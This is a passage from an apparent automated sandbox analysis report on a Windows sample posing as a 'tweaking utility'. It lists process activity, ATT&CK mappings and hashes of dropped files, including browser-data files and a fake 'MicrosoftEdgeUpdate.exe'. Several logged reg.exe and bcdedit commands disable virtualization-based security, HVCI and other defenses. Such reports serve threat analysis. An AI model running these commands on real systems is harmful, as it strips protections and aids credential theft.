  Reg.exe add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Notifications\Settings\Windows.SystemToast.WiFiNetworkManager" /v "Enabled" /t REG_DWORD /d "0" /f
  2⤵
  PID:4936
- C:\Windows\system32\reg.exe
  Reg.exe add "HKCU\SOFTWARE\Policies\Microsoft\Windows\Explorer" /v "DisableNotificationCenter" /t REG_DWORD /d "1" /f
  2⤵
  PID:4552
- C:\Windows\system32\reg.exe
  Reg.exe add "HKLM\SOFTWARE\Policies\Microsoft\Windows\Windows Feeds" /v "EnableFeeds" /t REG_DWORD /d "0" /f
  2⤵
  PID:3480
- C:\Windows\system32\reg.exe
  Reg.exe add "HKLM\SOFTWARE\Policies\Microsoft" /v "AllowNewsAndInterests" /t REG_DWORD /d "0" /f
  2⤵
  PID:1680
- C:\Windows\system32\reg.exe
  Reg.exe add "HKLM\SOFTWARE\Policies\Microsoft\Windows\System" /v "EnableActivityFeed" /t REG_DWORD /d "0" /f
  2⤵
  PID:1400
- C:\Windows\system32\reg.exe
  Reg.exe add "HKCU\Control Panel\International\User Profile" /v "HttpAcceptLanguageOptOut" /t REG_DWORD /d "1" /f
  2⤵
  PID:3244
- C:\Windows\system32\reg.exe
  Reg.exe add "HKCU\Software\Microsoft\Windows\CurrentVersion\AdvertisingInfo" /v "Enabled" /t REG_DWORD /d "0" /f
  2⤵
  PID:1016
- C:\Windows\system32\reg.exe
  Reg.exe add "HKLM\Software\Policies\Microsoft\Windows\System" /v "EnableActivityFeed" /t REG_DWORD /d "0" /f
  2⤵
  PID:5028
- C:\Windows\system32\reg.exe
  Reg.exe add "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced" /v "DisallowShaking" /t REG_DWORD /d "1" /f
  2⤵
  PID:4576
- C:\Windows\system32\reg.exe
  Reg.exe add "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced" /v "EnableBalloonTips" /t REG_DWORD /d "0" /f
  2⤵
  PID:340
- C:\Windows\system32\reg.exe
  Reg.exe add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced" /v "ShowSyncProviderNotifications" /t REG_DWORD /d "0" /f
  2⤵
  PID:4992
- C:\Windows\system32\reg.exe
  Reg.exe add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\CapabilityAccessManager\ConsentStore\userNotificationListener" /v "Value" /t REG_SZ /d "Deny" /f
  2⤵
  PID:4120
- C:\Windows\system32\reg.exe
  Reg.exe add "HKLM\Software\Policies\Microsoft\Windows\AdvertisingInfo" /v "DisabledByGroupPolicy" /t REG_DWORD /d "1" /f
  2⤵
  PID:2584
- C:\Windows\system32\reg.exe
  Reg.exe add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced" /v "Start_TrackProgs" /t REG_DWORD /d "0" /f
  2⤵
  PID:1496
- C:\Windows\system32\reg.exe
  Reg.exe add "HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "HideSCAHealth" /t REG_DWORD /d "1" /f
  2⤵
  PID:1956
- C:\Windows\system32\reg.exe
  Reg.exe add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced" /v "ExtendedUIHoverTime" /t REG_DWORD /d "196608" /f
  2⤵
  PID:3276
- C:\Windows\system32\reg.exe
  Reg.exe add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced" /v "DontPrettyPath" /t REG_DWORD /d "1" /f
  2⤵
  PID:3672
- C:\Windows\system32\reg.exe
  Reg.exe add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced" /v "ListviewShadow" /t REG_DWORD /d "0" /f
  2⤵
  PID:2036
- C:\Windows\system32\reg.exe
  Reg.exe add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced" /v "TaskbarAnimations" /t REG_DWORD /d "0" /f
  2⤵
  PID:2108
- C:\Windows\system32\reg.exe
  Reg.exe add "HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "HideSCAHealth" /t REG_DWORD /d "1" /f
  2⤵
  PID:2732
- C:\Windows\system32\reg.exe
  Reg.exe add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoLowDiskSpaceChecks" /t REG_DWORD /d "1" /f
  2⤵
  PID:1376
- C:\Windows\system32\reg.exe
  Reg.exe add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "LinkResolveIgnoreLinkInfo" /t REG_DWORD /d "1" /f
  2⤵
  PID:3304
- C:\Windows\system32\reg.exe
  Reg.exe add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoResolveSearch" /t REG_DWORD /d "1" /f
  2⤵
  PID:1368
- C:\Windows\system32\reg.exe
  Reg.exe add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoResolveTrack" /t REG_DWORD /d "1" /f
  2⤵
  PID:3264
- C:\Windows\system32\reg.exe
  Reg.exe add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoInternetOpenWith" /t REG_DWORD /d "1" /f
  2⤵
  PID:2640
- C:\Windows\system32\reg.exe
  Reg.exe add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoInstrumentation" /t REG_DWORD /d "1" /f
  2⤵
  PID:408
- C:\Windows\system32\reg.exe
  Reg.exe add "HKLM\SYSTEM\CurrentControlSet\Control\Remote Assistance" /v "fAllowToGetHelp" /t REG_DWORD /d "0" /f
  2⤵
  PID:236
- C:\Windows\system32\reg.exe
  Reg.exe add "HKLM\SOFTWARE\Policies\Microsoft\Edge" /v "StartupBoostEnabled" /t REG_DWORD /d "0" /f
  2⤵
  PID:3716
- C:\Windows\system32\reg.exe
  Reg.exe add "HKLM\SOFTWARE\Policies\Microsoft\Edge" /v "BackgroundModeEnabled" /t REG_DWORD /d "0" /f
  2⤵
  PID:1048
- C:\Windows\system32\reg.exe
  Reg.exe add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\SearchSettings" /v "IsDeviceSearchHistoryEnabled" /t REG_DWORD /d "0" /f
  2⤵
  PID:1576
- C:\Windows\system32\reg.exe
  Reg.exe add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\ContentDeliveryManager" /v "SubscribedContent-338393Enabled" /t REG_DWORD /d "0" /f
  2⤵
  PID:3604
- C:\Windows\system32\reg.exe
  Reg.exe add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\ContentDeliveryManager" /v "SubscribedContent-353694Enabled" /t REG_DWORD /d "0" /f
  2⤵
  PID:1236
- C:\Windows\system32\reg.exe
  Reg.exe add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\ContentDeliveryManager" /v "SubscribedContent-353696Enabled" /t REG_DWORD /d "0" /f
  2⤵
  PID:4032
- C:\Windows\system32\reg.exe
  Reg.exe add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\SettingSync\Groups\Personalization" /v "Enabled" /t REG_DWORD /d "0" /f
  2⤵
  PID:460
- C:\Windows\system32\reg.exe
  Reg.exe add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\SettingSync\Groups\BrowserSettings" /v "Enabled" /t REG_DWORD /d "0" /f
  2⤵
  PID:2564
- C:\Windows\system32\reg.exe
  Reg.exe add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\SettingSync\Groups\Credentials" /v "Enabled" /t REG_DWORD /d "0" /f
  2⤵
  PID:1056
- C:\Windows\system32\reg.exe
  Reg.exe add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\SettingSync\Groups\Accessibility" /v "Enabled" /t REG_DWORD /d "0" /f
  2⤵
  PID:1492
- C:\Windows\system32\reg.exe
  Reg.exe add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\SettingSync\Groups\Windows" /v "Enabled" /t REG_DWORD /d "0" /f
  2⤵
  PID:1128
- C:\Windows\system32\reg.exe
  Reg.exe add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\SettingSync" /v "SyncPolicy" /t REG_DWORD /d "5" /f
  2⤵
  PID:492
- C:\Windows\system32\reg.exe
  Reg.exe add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\ContentDeliveryManager" /v "SubscribedContent-338393Enabled" /t REG_DWORD /d "0" /f
  2⤵
  PID:4200
- C:\Windows\system32\reg.exe
  Reg.exe add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\ContentDeliveryManager" /v "SubscribedContent-353694Enabled" /t REG_DWORD /d "0" /f
  2⤵
  PID:4384
- C:\Windows\system32\reg.exe
  Reg.exe add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\ContentDeliveryManager" /v "SubscribedContent-353696Enabled" /t REG_DWORD /d "0" /f
  2⤵
  PID:1596
- C:\Windows\system32\reg.exe
  Reg.exe add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\MultitaskingView\AllUpView" /v "AllUpView" /t REG_DWORD /d "0" /f
  2⤵
  PID:4960
- C:\Windows\system32\reg.exe
  Reg.exe add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\MultitaskingView\AllUpView" /v "Remove TaskView" /t REG_DWORD /d "1" /f
  2⤵
  PID:3476
- C:\Windows\system32\reg.exe
  Reg.exe add "HKCU\Control Panel\Desktop" /v "AutoEndTasks" /t REG_SZ /d "1" /f
  2⤵
  PID:1240
- C:\Windows\system32\reg.exe
  Reg.exe add "HKCU\Control Panel\Desktop" /v "HungAppTimeout" /t REG_SZ /d "1000" /f
  2⤵
  PID:1032
- C:\Windows\system32\reg.exe
  Reg.exe add "HKCU\Control Panel\Desktop" /v "WaitToKillAppTimeout" /t REG_SZ /d "2000" /f
  2⤵
  PID:2524
- C:\Windows\system32\reg.exe
  Reg.exe add "HKCU\Control Panel\Desktop" /v "LowLevelHooksTimeout" /t REG_SZ /d "1000" /f
  2⤵
  PID:4324
- C:\Windows\system32\reg.exe
  Reg.exe add "HKCU\Control Panel\Desktop" /v "MenuShowDelay" /t REG_SZ /d "0" /f
  2⤵
  PID:3288
- C:\Windows\system32\reg.exe
  Reg.exe add "HKLM\SYSTEM\CurrentControlSet\Control" /v "WaitToKillServiceTimeout" /t REG_SZ /d "2000" /f
  2⤵
  PID:4724
- C:\Windows\system32\reg.exe
  Reg.exe add "HKLM\SOFTWARE\Microsoft\Windows Photo Viewer\Capabilities\FileAssociations" /v ".tif" /t REG_SZ /d "PhotoViewer.FileAssoc.Tiff" /f
  2⤵
  PID:3172
- C:\Windows\system32\reg.exe
  Reg.exe add "HKLM\SOFTWARE\Microsoft\Windows Photo Viewer\Capabilities\FileAssociations" /v ".tiff" /t REG_SZ /d "PhotoViewer.FileAssoc.Tiff" /f
  2⤵
  PID:4900
- C:\Windows\system32\reg.exe
  Reg.exe add "HKLM\SOFTWARE\Microsoft\Windows Photo Viewer\Capabilities\FileAssociations" /v ".bmp" /t REG_SZ /d "PhotoViewer.FileAssoc.Tiff" /f
  2⤵
  PID:3184
- C:\Windows\system32\reg.exe
  Reg.exe add "HKLM\SOFTWARE\Microsoft\Windows Photo Viewer\Capabilities\FileAssociations" /v ".dib" /t REG_SZ /d "PhotoViewer.FileAssoc.Tiff" /f
  2⤵
  PID:4004
- C:\Windows\system32\reg.exe
  Reg.exe add "HKLM\SOFTWARE\Microsoft\Windows Photo Viewer\Capabilities\FileAssociations" /v ".gif" /t REG_SZ /d "PhotoViewer.FileAssoc.Tiff" /f
  2⤵
  PID:3852
- C:\Windows\system32\reg.exe
  Reg.exe add "HKLM\SOFTWARE\Microsoft\Windows Photo Viewer\Capabilities\FileAssociations" /v ".jfif" /t REG_SZ /d "PhotoViewer.FileAssoc.Tiff" /f
  2⤵
  PID:3588
- C:\Windows\system32\reg.exe
  Reg.exe add "HKLM\SOFTWARE\Microsoft\Windows Photo Viewer\Capabilities\FileAssociations" /v ".jpe" /t REG_SZ /d "PhotoViewer.FileAssoc.Tiff" /f
  2⤵
  PID:1304
- C:\Windows\system32\reg.exe
  Reg.exe add "HKLM\SOFTWARE\Microsoft\Windows Photo Viewer\Capabilities\FileAssociations" /v ".jpeg" /t REG_SZ /d "PhotoViewer.FileAssoc.Tiff" /f
  2⤵
  PID:4392
- C:\Windows\system32\reg.exe
  Reg.exe add "HKLM\SOFTWARE\Microsoft\Windows Photo Viewer\Capabilities\FileAssociations" /v ".jpg" /t REG_SZ /d "PhotoViewer.FileAssoc.Tiff" /f
  2⤵
  PID:4224
- C:\Windows\system32\reg.exe
  Reg.exe add "HKLM\SOFTWARE\Microsoft\Windows Photo Viewer\Capabilities\FileAssociations" /v ".jxr" /t REG_SZ /d "PhotoViewer.FileAssoc.Tiff" /f
  2⤵
  PID:5008
- C:\Windows\system32\reg.exe
  Reg.exe add "HKLM\SOFTWARE\Microsoft\Windows Photo Viewer\Capabilities\FileAssociations" /v ".png" /t REG_SZ /d "PhotoViewer.FileAssoc.Tiff" /f
  2⤵
  PID:5096
- C:\Windows\system32\reg.exe
  Reg.exe add "HKCU\Software\Microsoft\Windows\CurrentVersion\AppHost" /v ContentEvaluation /t REG_DWORD /d "0" /f
  2⤵
  PID:4084
- C:\Windows\system32\reg.exe
  Reg.exe add "HKCU\SOFTWARE\Microsoft\Siuf\Rules" /v "NumberOfSIUFInPeriod" /t REG_DWORD /d "0" /f
  2⤵
  PID:3668
- C:\Windows\system32\reg.exe
  Reg.exe add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableAutomaticRestartSignOn" /t REG_DWORD /d "1" /f
  2⤵
  PID:2284
- C:\Windows\system32\reg.exe
  Reg.exe add "HKEY_CURRENT_USER\SYSTEM\GameConfigStore\Children\fefe78e0-cf54-411d-9154-04b8f488bea2" /v "Flags" /t REG_DWORD /d "529" /f
  2⤵
  PID:488
- C:\Windows\system32\reg.exe
  Reg.exe add "HKCU\Control Panel\International\User Profile" /v "HttpAcceptLanguageOptOut" /t REG_DWORD /d "1" /f
  2⤵
  PID:3324
- C:\Windows\system32\reg.exe
  Reg.exe add "HKCU\Software\Microsoft\Windows\CurrentVersion\AdvertisingInfo" /v "Enabled" /t REG_DWORD /d "0" /f
  2⤵
  PID:1748
- C:\Windows\system32\reg.exe
  Reg.exe add "HKCU\Software\Microsoft\Windows\CurrentVersion\AppHost" /v "EnableWebContentEvaluation" /t REG_DWORD /d "0" /f
  2⤵
  PID:4544
- C:\Windows\system32\reg.exe
  Reg.exe add "HKLM\Software\Microsoft\PolicyManager\default\WiFi\AllowAutoConnectToWiFiSenseHotspots" /v "value" /t REG_DWORD /d "0" /f
  2⤵
  PID:2532
- C:\Windows\system32\reg.exe
  Reg.exe add "HKLM\Software\Microsoft\PolicyManager\default\WiFi\AllowWiFiHotSpotReporting" /v "value" /t REG_DWORD /d "0" /f
  2⤵
  PID:3356
- C:\Windows\system32\reg.exe
  Reg.exe add "HKLM\Software\Microsoft\Windows\CurrentVersion\ImmersiveShell" /v "UseActionCenterExperience" /t REG_DWORD /d "0" /f
  2⤵
  PID:4192
- C:\Windows\system32\reg.exe
  Reg.exe add "HKLM\Software\Policies\Microsoft\Windows\EnhancedStorageDevices" /v "TCGSecurityActivationDisabled" /t REG_DWORD /d "0" /f
  2⤵
  PID:1504
- C:\Windows\system32\chcp.com
  chcp 437
  2⤵
  PID:4784
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "& {Add-Type -AssemblyName System.Windows.Forms; [System.Windows.Forms.MessageBox]::Show('Select disable updates in wub, press ok to open it', 'Exm Tweaking Utility', 'Ok', [System.Windows.Forms.MessageBoxIcon]::Information);}"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious use of AdjustPrivilegeToken
  PID:3888
- C:\Windows\system32\chcp.com
  chcp 65001
  2⤵
  PID:1960
- C:\exm\WindowsUpdateBlocker\Wub.exe
  C:\exm\WindowsUpdateBlocker\Wub.exe
  2⤵
  - Modifies security service
  - Executes dropped EXE
  - Indicator Removal: Clear Persistence
  - Drops file in System32 directory
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: GetForegroundWindowSpam
  - Suspicious use of AdjustPrivilegeToken
  PID:1344
- C:\Windows\system32\chcp.com
  chcp 437
  2⤵
  PID:1140
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "& {Add-Type -AssemblyName System.Windows.Forms; [System.Windows.Forms.MessageBox]::Show('Select disable updates in wub, press ok to open it', 'Exm Tweaking Utility', 'Ok', [System.Windows.Forms.MessageBoxIcon]::Information);}"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:4836
- C:\Windows\system32\chcp.com
  chcp 65001
  2⤵
  PID:4864
- C:\exm\WindowsUpdateBlocker\Wub.exe
  C:\exm\WindowsUpdateBlocker\Wub.exe
  2⤵
  - Executes dropped EXE
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: GetForegroundWindowSpam
  PID:1952
- C:\Windows\system32\reg.exe
  Reg.exe add "HKLM\System\CurrentControlSet\Services\VxD\BIOS" /v "CPUPriority" /t REG_DWORD /d "1" /f
  2⤵
  PID:3852
- C:\Windows\system32\reg.exe
  Reg.exe add "HKLM\System\CurrentControlSet\Services\VxD\BIOS" /v "FastDRAM" /t REG_DWORD /d "1" /f
  2⤵
  PID:3588
- C:\Windows\system32\reg.exe
  Reg.exe add "HKLM\System\CurrentControlSet\Services\VxD\BIOS" /v "AGPConcur" /t REG_DWORD /d "1" /f
  2⤵
  PID:1304
- C:\Windows\system32\reg.exe
  Reg.exe add "HKLM\System\CurrentControlSet\Services\VxD\BIOS" /v "CPUPriority" /t REG_DWORD /d "1" /f
  2⤵
  PID:4392
- C:\Windows\system32\reg.exe
  Reg.exe add "HKLM\System\CurrentControlSet\Services\VxD\BIOS" /v "FastDRAM" /t REG_DWORD /d "1" /f
  2⤵
  PID:4224
- C:\Windows\system32\reg.exe
  Reg.exe add "HKLM\System\CurrentControlSet\Services\VxD\BIOS" /v "PCIConcur" /t REG_DWORD /d "1" /f
  2⤵
  PID:564
- C:\Windows\system32\timeout.exe
  timeout /t 1 /nobreak
  2⤵
  - Delays execution with timeout.exe
  PID:5008
- C:\Windows\system32\bcdedit.exe
  bcdedit /set tscsyncpolicy legacy
  2⤵
  - Modifies boot configuration data using bcdedit
  PID:4084
- C:\Windows\system32\timeout.exe
  timeout /t 1 /nobreak
  2⤵
  - Delays execution with timeout.exe
  PID:3668
- C:\Windows\system32\bcdedit.exe
  bcdedit /set hypervisorlaunchtype off
  2⤵
  - Modifies boot configuration data using bcdedit
  PID:2284
- C:\Windows\system32\timeout.exe
  timeout /t 1 /nobreak
  2⤵
  - Delays execution with timeout.exe
  PID:488
- C:\Windows\system32\bcdedit.exe
  bcdedit /set linearaddress57 OptOut
  2⤵
  - Modifies boot configuration data using bcdedit
  PID:4744
- C:\Windows\system32\bcdedit.exe
  bcdedit /set increaseuserva 268435328
  2⤵
  - Modifies boot configuration data using bcdedit
  PID:1752
- C:\Windows\system32\timeout.exe
  timeout /t 1 /nobreak
  2⤵
  - Delays execution with timeout.exe
  PID:3324
- C:\Windows\system32\bcdedit.exe
  bcdedit /set isolatedcontext No
  2⤵
  - Modifies boot configuration data using bcdedit
  PID:2532
- C:\Windows\system32\bcdedit.exe
  bcdedit /set allowedinmemorysettings 0x0
  2⤵
  - Modifies boot configuration data using bcdedit
  PID:3356
- C:\Windows\system32\timeout.exe
  timeout /t 1 /nobreak
  2⤵
  - Delays execution with timeout.exe
  PID:4192
- C:\Windows\system32\bcdedit.exe
  bcdedit /set vsmlaunchtype Off
  2⤵
  - Modifies boot configuration data using bcdedit
  PID:4328
- C:\Windows\system32\bcdedit.exe
  bcdedit /set vm No
  2⤵
  - Modifies boot configuration data using bcdedit
  PID:3856
- C:\Windows\system32\reg.exe
  Reg.exe add "HKLM\Software\Policies\Microsoft\FVE" /v "DisableExternalDMAUnderLock" /t REG_DWORD /d "0" /f
  2⤵
  PID:4060
- C:\Windows\system32\reg.exe
  Reg.exe add "HKLM\Software\Policies\Microsoft\Windows\DeviceGuard" /v "EnableVirtualizationBasedSecurity" /t REG_DWORD /d "0" /f
  2⤵
  PID:696
- C:\Windows\system32\reg.exe
  Reg.exe add "HKLM\Software\Policies\Microsoft\Windows\DeviceGuard" /v "HVCIMATRequired" /t REG_DWORD /d "0" /f
  2⤵
  PID:1808
- C:\Windows\system32\timeout.exe
  timeout /t 1 /nobreak
  2⤵
  - Delays execution with timeout.exe
  PID:3540
- C:\Windows\system32\bcdedit.exe
  bcdedit /set x2apicpolicy Enable
  2⤵
  - Modifies boot configuration data using bcdedit
  PID:4940
- C:\Windows\system32\bcdedit.exe
  bcdedit /set uselegacyapicmode No
  2⤵
  - Modifies boot configuration data using bcdedit
  PID:3228
- C:\Windows\system32\timeout.exe
  timeout /t 1 /nobreak
  2⤵
  - Delays execution with timeout.exe
  PID:5060
- C:\Windows\system32\bcdedit.exe
  bcdedit /set configaccesspolicy Default
  2⤵
  - Modifies boot configuration data using bcdedit
  PID:3600
- C:\Windows\system32\bcdedit.exe
  bcdedit /set MSI Default
  2⤵
  - Modifies boot configuration data using bcdedit
  PID:2172
- C:\Windows\system32\bcdedit.exe
  bcdedit /set usephysicaldestination No
  2⤵
  - Modifies boot configuration data using bcdedit
  PID:4028
- C:\Windows\system32\bcdedit.exe
  bcdedit /set usefirmwarepcisettings No
  2⤵
  - Modifies boot configuration data using bcdedit
  PID:2148
- C:\Windows\system32\timeout.exe
  timeout /t 1 /nobreak
  2⤵
  - Delays execution with timeout.exe
  PID:4436

C:\ProgramData\MicrosoftEdgeUpdate.exe
C:\ProgramData\MicrosoftEdgeUpdate.exe
1⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:3320

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k netsvcs -p -s PushToInstall
1⤵
- Modifies data under HKEY_USERS
PID:3152

C:\Windows\winsxs\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.22000.469_none_04a25ac34c904574\TiWorker.exe
C:\Windows\winsxs\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.22000.469_none_04a25ac34c904574\TiWorker.exe -Embedding
1⤵
- Drops file in Windows directory
- Suspicious use of AdjustPrivilegeToken
PID:1016

C:\ProgramData\MicrosoftEdgeUpdate.exe
C:\ProgramData\MicrosoftEdgeUpdate.exe
1⤵
- Executes dropped EXE
PID:4516

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Event Triggered Execution

T1546

Netsh Helper DLL

T1546.007

Hijack Execution Flow

T1574

Executable Installer File Permissions Weakness

T1574.005

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Event Triggered Execution

T1546

Netsh Helper DLL

T1546.007

Hijack Execution Flow

T1574

Executable Installer File Permissions Weakness

T1574.005

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Hijack Execution Flow

T1574

Executable Installer File Permissions Weakness

T1574.005

Impair Defenses

T1562

Disable or Modify Tools

T1562.001

Indicator Removal

T1070

Clear Persistence

T1070.009

Modify Registry

T1112

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Browser Information Discovery

T1217

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

System Network Configuration Discovery

T1016

Wi-Fi Discovery

T1016.002

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Web Service

T1102

Exfiltration

Impact

Inhibit System Recovery

T1490

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\4ecfcad46d0735dbf6e822410f4bb9d1\Admin@ITMJLVNR_en-US\Browsers\Firefox\Bookmarks.txt

Filesize
105B

MD5
2e9d094dda5cdc3ce6519f75943a4ff4

SHA1
5d989b4ac8b699781681fe75ed9ef98191a5096c

SHA256
c84c98bbf5e0ef9c8d0708b5d60c5bb656b7d6be5135d7f7a8d25557e08cf142

SHA512
d1f7eed00959e902bdb2125b91721460d3ff99f3bdfc1f2a343d4f58e8d4e5e5a06c0c6cdc0379211c94510f7c00d7a8b34fa7d0ca0c3d54cbbe878f1e9812b7

Download Submit
C:\Users\Admin\AppData\Local\4ecfcad46d0735dbf6e822410f4bb9d1\Admin@ITMJLVNR_en-US\System\Process.txt

Filesize
4KB

MD5
71b0487ed759841f671fd15f3e642f28

SHA1
24f957aa10b994d8536acdfae49dce51a0a5465d

SHA256
b22a49a539f370cdb008f29bc97424b62c49c4afaf06db2b52e9a56deb460f6f

SHA512
a5d64645e52525b39281144c6b5de763bebf81a6415c17bb88aa5aba9939fccc97527eb77f426da19595debfc7dbeffa0bf316926cc85ae2a45ab24f67052020

Download Submit
C:\Users\Admin\AppData\Local\4ecfcad46d0735dbf6e822410f4bb9d1\msgid.dat

Filesize
5B

MD5
0db6e953a1243a873578a79579c1aa7a

SHA1
5a6b796045a97be229cf431cf7ecce98aed95dce

SHA256
871202ab81bb50a7cfa5e0a9661cfd947654053bf8bdb3f479f1a3b6639dcf9f

SHA512
4c163f3c65d2d783cab5cd559c436c02119669dcc943fad6955846ac1d1f0ec97f5d34a536b44a2add30a7c9f6159fe0694a8568808aa0ca06c8dbea2f960f03

Download Submit
C:\Users\Admin\AppData\Local\MicrosoftEdgeUpdate.exe

Filesize
86KB

MD5
51cdbf80fae38e82aa1c6ac3c86081a8

SHA1
b4a00a40555f6d7655a80ef0aaab920c35994743

SHA256
70e63eb524c1d6dbe4f4fa276d3f4d2756108cb5a4f4ebb9a6264fcbd5d4a73b

SHA512
aa69c54770a36eba26b1408aaf0338975b4bd1b3dd118de71d81882671c86fc6b0c80567c67ffb6cd3c1a3f98ac02fe6ac5d9495a03531bcff1ecc61574c85e1

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\MicrosoftEdgeUpdate.exe.log

Filesize
654B

MD5
2cbbb74b7da1f720b48ed31085cbd5b8

SHA1
79caa9a3ea8abe1b9c4326c3633da64a5f724964

SHA256
e31b18f21621d9983bfdf1ea3e53884a9d58b8ffd79e0e5790da6f3a81a8b9d3

SHA512
ecf02d5240e0c1c005d3ab393aa7eff62bd498c2db5905157e2bf6d29e1b663228a9583950842629d1a4caef404c8941a0c7799b1a3bd1eb890a09fdb7efcff9

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
2KB

MD5
88dc70c361a22feac57b031dd9c1f02f

SHA1
a9b4732260c2a323750022a73480f229ce25d46d

SHA256
43244c0820ec5074e654ecd149fa744f51b2c1522e90285567713dae64b62f59

SHA512
19c0532741ebc9751390e6c5ca593a81493652f25c74c8cab29a8b5b1f1efef8d511254a04f50b0c4a20724bae10d96d52af7a76b0c85ddc5f020d4cac41100c

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
64B

MD5
1a11402783a8686e08f8fa987dd07bca

SHA1
580df3865059f4e2d8be10644590317336d146ce

SHA256
9b1d1b468932a2d88548dc18504ac3066f8248079ecb083e919460bdb88398c0

SHA512
5f7f9f76d9d12a25fdc5b8d193391fb42c37515c657250fe01a9bfd9fe4cc4eab9d5ec254b2596ac1b9005f12511905f19fdae41f057062261d75bd83254b510

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
904c9e9f7251b6f4037f077a4a4685a4

SHA1
0d9a7308a129a6dd618166a66acf6b04849dd769

SHA256
96fd6fdaeaa66389e084b9770a75c0bcadf2d78980657c9c6055ff3fb068eb45

SHA512
b16ce62361a39ff934843cc8fd8bd51d97cd2371a4aa40467f3b18788766c30409685c17f376a68e80bb1f83df95f455f155d9adef75ee46edce3bc4fcfc5a2d

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
5abe0fa2ce2397da512219546b9d9160

SHA1
db676572745396f52ddd2cdbbb643a7c1e786d70

SHA256
0ed3dfa85f0fc41a587aa07e27cb60564e02a06ca6ff1932aaef3d423e06ca7d

SHA512
24b166ae61f62b3fb345911dca52e23104cf370e9f5ff515394ca8a48edc2c6a2553315e1dfc0a03aaf81f7cb23eb0ee1ed95770af02a336eabf87394b3c1ce8

Download Submit
C:\Users\Admin\AppData\Local\Temp\1g9a5k2v.tmp

Filesize
20KB

MD5
2db4c5aa3664b87ccc47acdb9720a13d

SHA1
6cbfe623cf640a1c028dc585c06eeb76a6337bd3

SHA256
f846d2dcfbbd5f32431f9a377328f663109e4a636dbb2cb039bb51480c8e87af

SHA512
c03df33918de644d4feea76ffffbb6af55f645615c84a282c00f6c635567c936cf10111076809a2d4ff7701dccef437aa346245fdf54a52cacda991b52620498

Download Submit
C:\Users\Admin\AppData\Local\Temp\1g9a5k2v.tmp

Filesize
20KB

MD5
ad004bb978c11baf9986b02a1c6bbe97

SHA1
